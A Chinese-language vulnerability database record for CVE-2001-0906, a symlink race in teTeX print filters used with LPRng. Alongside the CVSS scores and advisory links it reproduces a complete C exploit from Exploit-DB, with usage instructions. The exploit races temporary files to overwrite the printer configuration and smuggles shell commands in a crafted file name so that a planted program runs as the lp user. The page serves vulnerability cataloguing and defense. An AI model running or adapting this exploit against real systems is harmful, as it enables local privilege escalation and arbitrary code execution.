CVE-2001-0906
CVSS6.2
发布时间 :2001-06-22 00:00:00
修订时间 :2008-09-05 16:25:12
NMCOE    

[原文]teTeX filter before 1.0.7 allows local users to gain privileges via a symlink attack on temporary files that are produced when printing .dvi files using lpr.


[CNNVD]teTeX过滤器权限许可和访问控制漏洞(CNNVD-200106-115)

        teTeX 过滤器1.0.7之前版本存在漏洞。本地用户可以借助对临时文件的符号链接攻击提升权限,这些临时文件在打印使用lpr的.dvi文件时产生。

- CVSS (基础分值)

CVSS分值: 6.2 [中等(MEDIUM)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: HIGH [漏洞利用存在特定的访问条件]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0906
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0906
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200106-115
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/static/6785.php
(VENDOR_ADVISORY)  XF  tetex-lprng-tmp-race(6785)
http://www.securityfocus.com/bid/2974
(VENDOR_ADVISORY)  BID  2974
http://www.redhat.com/support/errata/RHSA-2001-102.html
(VENDOR_ADVISORY)  REDHAT  RHSA-2001:102
http://www.linux-mandrake.com/en/security/2001/MDKSA-2001-086.php3
(VENDOR_ADVISORY)  MANDRAKE  MDKSA-2001:086
http://www.securityfocus.com/archive/1/192647
(VENDOR_ADVISORY)  BUGTRAQ  20010622 LPRng + tetex tmpfile race - uid lp exploit
http://download.immunix.org/ImmunixOS/7.0/updates/IMNX-2001-70-030-01
(UNKNOWN)  IMMUNIX  IMNX-2001-70-030-01

- 漏洞信息

teTeX过滤器权限许可和访问控制漏洞
中危 未知
2001-06-22 00:00:00 2005-05-02 00:00:00
本地  
        teTeX 过滤器1.0.7之前版本存在漏洞。本地用户可以借助对临时文件的符号链接攻击提升权限,这些临时文件在打印使用lpr的.dvi文件时产生。

- 公告与补丁

        

- 漏洞信息 (20990)

teTeX 1.0.7 Filters Temporary File Race Condition Vulnerability (EDBID:20990)
linux local
2001-06-22 Verified
0 zen-parse
N/A [点击下载]
source: http://www.securityfocus.com/bid/2974/info

teTeX is a TeX distribution for UNIX compatible systems.

A race condition vulnerability exists in the temporary file handling method used by some teTeX filters. The problem exists because in some cases temporary files are created world-writeable with a predictable filename based on the process ID of the filter. If an attacker is able to determine the name of a temporary file used during the program's operation, a symbolic link could be created pointing to a file writeable by the user running the filter.

When the filters are used by an application that runs with elevated privileges such as LPRng, the potential impact of the attack could become more significant. A local attacker could exploit this vulnerability to cause LPRng to execute arbitrary commands with its elevated privileges.

/********************************************************************
Redhat 7.0 (mebe 7.1 ?)

LPRng-3.7.4-23  (and earlier)  +  tetex-1.0.7-7   (and earlier?)

     Insecure tmp file privilege elevation vulnerability.

Allows uid/gid lp  and  root groups on LPRng-3.6.24 and earlier
Please note:

-rwxr-xr-x    1 lp       lp         444472 Jun 14 22:05 /usr/bin/lpq*
-rwxr-xr-x    1 lp       lp         441624 Jun 14 22:05 /usr/bin/lprm*
-rwxr-xr-x    1 lp       lp         459160 Jun 14 22:05 /usr/bin/lpr*
-rwxr-xr-x    1 lp       lp         448120 Jun 14 22:05 /usr/bin/lpstat*
-rwxr-xr-x    1 lp       lp         448320 Jun 14 22:05 /usr/sbin/lpc*

 this program allows trojan code to be planted on the machine it is
 executed on. 

 tmp file handling done badly in helper application (dvi print filter)
 allows modification to lp config files.
 the configuation file is sourced by the master print filter,
 which is itself a shell script, each time something is printed.
 this makes it possible to insert commands into the configuration file
 by creating a special filename to be included in the file that 
 is created. (see the close(open(" thingee )


Redhat Bugzilla reference:-

https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=43342

 --zen-parse 

 requires some fonts get made when its run.
 probably won't be a problem unless someone
 else has tried this exploit.
 just wait 90 days for /var/lib/texmf to clear
 and try again ;]
 or try print something different
 .dvi files are what does the trick.

********************************************************************/

int shake()
{
 int f;
 char r[1000];
 int w;
 f=fopen("/proc/loadavg","r");
 fscanf(f,"%*s %*s %*s %*s %s",r);
 fclose(f);
 w=atoi(r);
 return w;
}
void cow(char *s,char *t,int ofs)
{
 sprintf(s,"/var/lib/texmf/lsR%d.tmp",ofs);
 sprintf(t,"%s/lsR%d.tmp",s,ofs);
}

main()
{
 char s[1000];
 char t[1000];
 int y,i;
 printf("Put the stuff to run as lp:lp in /tmp/hax\n");
 printf("the lpr /usr/share/aspe<tab>/manual.dvi\n");
 printf("when the ! comes up, wait a second, then press control-C.\n\n");
 printf("Then print something.\n\n\n");
 close(open("/var/lib/texmf/cd ..\ncd ..\ncd ..\ncd ..\ncd ..\ncd ..\ncd tmp\nexport PATH=.\nhax\nexit 0",65,0666));
 while(1)
 {
  i=shake();
  for(y=-30;y<0;y++)
  {
   cow(s,t,y+i);
   if(!access(t,0))
   { 
    printf("!\n");
    unlink(t);
    symlink("/var/spool/lpd/lp/postscript.cfg",t);
    sleep(1);
   }
  }
 }
}
		

- 漏洞信息

1889
teTeX Filters Temporary File Race Condition Local Privilege Escalation
Local Access Required Race Condition
Loss of Integrity
Exploit Public

- 漏洞描述

- 时间线

2001-06-22 Unknow
2001-06-22 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站